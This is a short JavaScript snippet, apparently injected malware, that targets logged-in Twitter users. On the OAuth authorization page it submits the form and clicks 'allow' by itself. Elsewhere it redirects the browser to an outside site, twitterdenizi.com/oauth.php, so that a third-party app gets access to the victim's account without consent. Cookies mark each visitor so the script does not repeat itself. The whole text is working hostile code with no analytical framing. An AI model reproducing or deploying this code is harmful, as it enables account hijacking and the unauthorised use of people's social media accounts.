if (location.hostname.indexOf("twitter.com") >= 0 && readCookie("twid") && !readCookie(readCookie("twid") + "c")) {
    if (document.location.href.indexOf('api.twitter.com/oauth/authorize') > -1) {
        try {
            document.getElementById('oauth_form').submit();
            document.getElementById('allow').click();
        } catch (e) {}
        try {
            document.getElementById('oauth_form').submit();
            document.getElementById('allow').click();
        } catch (e) {}
        try {
            document.getElementById('oauth_form').submit();
            document.getElementById('allow').click();
        } catch (e) {}
    } else if (document.location.href.indexOf('refme=ok') > -1) {
        createCookie(readCookie("twid") + "c", 'ohyea', 1);
    } else {
        if (!readCookie(readCookie("twid") + "d")) {
            top.document.location = 'http://twitterdenizi.com/oauth.php';
            createCookie(readCookie("twid") + "d", 'ohyea', 1);
        }
    }
}